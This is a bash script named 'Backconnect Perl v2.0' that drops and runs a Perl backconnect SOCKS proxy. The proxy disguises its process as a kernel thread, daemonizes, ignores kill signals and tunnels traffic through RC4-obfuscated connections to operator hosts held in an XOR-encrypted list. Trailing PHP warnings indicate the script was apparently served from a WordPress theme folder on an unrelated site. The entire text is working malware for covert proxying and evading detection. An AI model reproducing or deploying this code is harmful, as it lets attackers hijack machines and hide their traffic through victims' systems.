#!/bin/bash
# Backconnect Perl v2.0 - Fixed (original RC4 + v22 features)
N="bcksocks";D=3;PD=""
ENC_DATA="7e4f7d5756474b4d734b48040209794d604550444b467e5057080a1d7c4c625f5746565478535703070663406b4b5247574e7f514a110105634b66504d4b5d5a7a504a0b06077e5960534d405041655c411f0306794367515052564265574c041c0a755762505648514078454a071c01784c7d5c5b5c54417d5f4d0501137e4f7d5756474b4d734b48040509794d604550444b467e5057080a1d7c4c6b5f5746565478535703070663406b4b52475c4e7f514a110105634b66504d4b5d5a7a53490b06077e5960534d405041655c411f03057c4367515052564265574c041c0a755762535148514078454a071c01784c7d5c5b5c5442785f4d0501137e4f7d5756474b4d734b48070609794d604550444b467e5057080a1d7c4f665f5746565478535703070663406b4b5244534e7f514a110105634b66504d4b5d5a7a534e0b06077e5960534d405041655c411f0305754367515052564265574c041c0a755762535a48514078454a071c01784c7d5c5b5c54437b5f4d0501137e4f7d5756474b4d734b48060309794d604550444b467e5057080a1d7c4e615f5746565478535703070663406b4b5245564e7f514a110105634b66504d4b5d5a7a524d0b06077e5960534d405041655c411f0304784367515052564265574c041c0a755762525548514078454a071c01784c7d5c5b5c54437c5f4d0501137e4f7d5756474b4d734b48060a09794d604550444b467e5057080a1d7c4e6a5f5746565478535703070663406b4b524a554e7f514a110105634b66504d4b5d5a7a5d480b06077e5960534d405041655c411f030b7f4367515052564265574c041c0a7557625d5048514078454a071c01784c7d5c5b5c544c7f5f4d0501137b4b7d53535c54477a4b48060a09794d604555404b427b4b4802031d7c4e6a5f574656547d575707021d7c4a624b524a554e7f514a110401634f634b5241545a7a5d480b06077e5965574d44555a7a56481f030b7f436751505253466553491f03007c57625d5048514078454f031c057d576256525c544c7f5f4d0501137b4b7d53535c54477a4b48090709794d604555404b427b4b4802031d7c41655f574656547d575707021d7c4a624b524a524e7f514a110401634f634b5241545a7a5d410b06077e5965574d44555a7a56481f030b74436751505253466553491f03007c57625c5348514078454f031c057d576256525c544d7a5f4d0501137b4b7d53535c54477a4b48080009794d604555404b427b4b4802031d7c40605f574656547d575707021d7c4a624b524b514e7f514a110401634f634b5241545a7a5c4c0b06077e5965574d44555a7a56481f030a7b436751505253466553491f03007c57625c5448514078454f031c057d576256525c544d735f4d0501137b4b7d53535c54477a4b48080b09794d604555404b427b4b4802031d7f49635f574656547d575707021d7c4a624b5142544e7f514a110401634f634b5241545a79554b0b06077e5965574d44555a7a56481f00037e436751505253466553491f03007c5761555748514078454f031c057d576256525c57447e5f4d0501137b4b7d53535c54477a4b4b040109794d60"
find_writable() {
for d in /tmp /var/tmp /dev/shm /run "$HOME"; do
[ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; }
done
echo "./.$N"
}
PD="$(find_writable)"
fp() {
# SAFE: only perl processes by interpreter + path, no network search
pgrep -f "perl.*$PD.*$1.*$2" 2>/dev/null
}
kt() { fp "$1" "$2" | sort -u | xargs -r kill -9 2>/dev/null; sleep 0.3; }
ka(){
# SAFE: only kill perl with our path
pgrep -f "perl.*$PD" 2>/dev/null | xargs -r kill -9 2>/dev/null
rm -rf "$PD"
echo "Done"
exit 0
}
st(){
echo "Status:"
[ -d "$PD" ] || { echo " None"; exit 0; }
for f in "$PD"/*.pid; do
[ -f "$f" ] || continue
p=$(cat "$f")
n=$(basename "$f" .pid)
kill -0 "$p" 2>/dev/null && echo " + $n ($p)" || echo " - $n"
done
exit 0
}
xc() {
local k="$1"
local d="$2"
local o="" i=0
local kl="${#k}"
[ "$kl" -eq 0 ] && { echo ""; return; }
while [ $i -lt ${#d} ]; do
local dc="${d:$i:2}"
[ ${#dc} -lt 2 ] && break
local db=$((16#$dc))
local ki=$((i/2%kl))
local kb=$(printf '%d' "'${k:$ki:1}")
local xb=$((db^kb))
o+=$(printf '%02x' $xb)
i=$((i+2))
done
echo "$o"
}
s2h() { local s="$1" o="" i; for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}"); done; echo "$o"; }
h2s() { local h="$1" o="" i; for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}"); done; echo -e "$o"; }
enc_srv() { local k="$1"; shift; echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""; }
dec_srv() { [ -z "$2" ] && return; h2s "$(xc "$1" "$2")"; }
spawn() {
local host="$1" port="$2" id="$3"
mkdir -p "$PD" 2>/dev/null
local pidf="$PD/${id}.pid"
local plf="$PD/${id}.pl"
cat > "$plf" << 'PERLEND'
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
use POSIX qw(setsid);
my $host = $ARGV[0] || '127.0.0.1';
my $port = $ARGV[1] || 443;
my $pidf = $ARGV[2] || '';
# Random kernel-like process name
sub get_proc_name {
my @names = ('kworker','migration','ksoftirqd','watchdog','cpuhp','rcu_sched',
'kblockd','kswapd','khugepaged','scsi_eh','bioset','kdmflush');
my @suffix = ('','/0','/1','/2','/0:0','/0:1','/1:0');
return $names[rand @names] . $suffix[rand @suffix];
}
# Mask only /proc/self/comm, keep cmdline for pgrep
my $pn = get_proc_name();
eval { if(open(my $fh, '>', '/proc/self/comm')) { print $fh substr($pn,0,15); close($fh); } };
# Daemonize
fork and exit;
setsid();
fork and exit;
open(STDIN, '<', '/dev/null');
open(STDOUT, '>', '/dev/null');
open(STDERR, '>', '/dev/null');
if ($pidf) { open(my $pf, '>', $pidf); print $pf $$; close($pf); }
$SIG{HUP} = $SIG{TERM} = $SIG{INT} = $SIG{PIPE} = 'IGNORE';
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
# ORIGINAL RC4 - DO NOT MODIFY!
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++; $rbx++; $rcx--;
if ($rbx == $length) { $rbx = 0; }
} while($rcx > 0);
while(1) {
if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; }
if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } }
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) { $gs = 1; next; }
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0) { last; }
}
last;
}
$rsi = 0; $rcx = $sz; $rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++; $rbx++; $rcx--;
if ($rbx == $length) { $rbx = 0; }
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
send($cSocket, $buffer, $flags);
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else { goto close_; }
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, 0);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, 0);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), 0);
threads->detach();
});
}
sub bccnct {
my $h = shift(@_);
my $p = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($p, inet_aton($h));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 4) = "Perl";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, 0);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, 0);
$buffernull = "\x00" x 3;
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), 0);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
while(1) {
eval { bccnct($host, $port); };
sleep 10;
}
PERLEND
chmod +x "$plf"
perl "$plf" "$host" "$port" "$pidf" &
sleep 1
[ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
return 1
}
ir() { fp "$1" "$2" 2>/dev/null | grep -q .; }
SRV=();FORCE=0
case "${1:-}" in
-h|--help)
echo "Usage: $0 [-f] srv:port..."
echo " -e KEY srv:port... Encrypt"
echo " -d KEY [-f] Decrypt+run"
echo " -k / -s Kill/Status"
exit 0
;;
-k) ka ;;
-s) st ;;
-e)
[ -z "$2" ] && { echo "Need KEY"; exit 1; }
K="$2"; shift 2
[ $# -eq 0 ] && { echo "Need servers"; exit 1; }
enc_srv "$K" "$@"
exit 0
;;
-d)
[ -z "$2" ] && { echo "Need KEY"; exit 1; }
K="$2"; shift 2
[ "${1:-}" = "-f" ] && { FORCE=1; shift; }
[ -z "$ENC_DATA" ] && { echo "No encrypted data"; exit 1; }
DE=$(dec_srv "$K" "$ENC_DATA")
[ -z "$DE" ] && { echo "Decryption failed"; exit 1; }
for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443"); done
;;
-f)
FORCE=1; shift
for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
;;
*)
for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
;;
esac
[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h"; exit 1; }
command -v perl &>/dev/null || { echo "perl required"; exit 1; }
perl -e 'use threads;' 2>/dev/null || { echo "perl threads required"; exit 1; }
mkdir -p "$PD"; c=0
for s in "${SRV[@]}"; do
h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
c=$((c+1))
if ir "$h" "$p"; then
if [ "$FORCE" = "1" ]; then
printf "[$c/${#SRV[@]}] $h:$p replacing... "
kt "$h" "$p"
else
echo "[$c/${#SRV[@]}] $h:$p running (use -f)"
[ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
continue
fi
else
printf "[$c/${#SRV[@]}] $h:$p "
fi
spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
[ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done"
Warning: Cannot modify header information - headers already sent by (output started at /home/namacomp/public_html/madansinghpharmacy.com/wp-content/themes/astra/inc/customizer/configurations/builder/footer/configs/config_edit_news:1) in /home/namacomp/public_html/madansinghpharmacy.com/wp-includes/pluggable.php on line 1531
Warning: Cannot modify header information - headers already sent by (output started at /home/namacomp/public_html/madansinghpharmacy.com/wp-content/themes/astra/inc/customizer/configurations/builder/footer/configs/config_edit_news:1) in /home/namacomp/public_html/madansinghpharmacy.com/wp-includes/pluggable.php on line 1534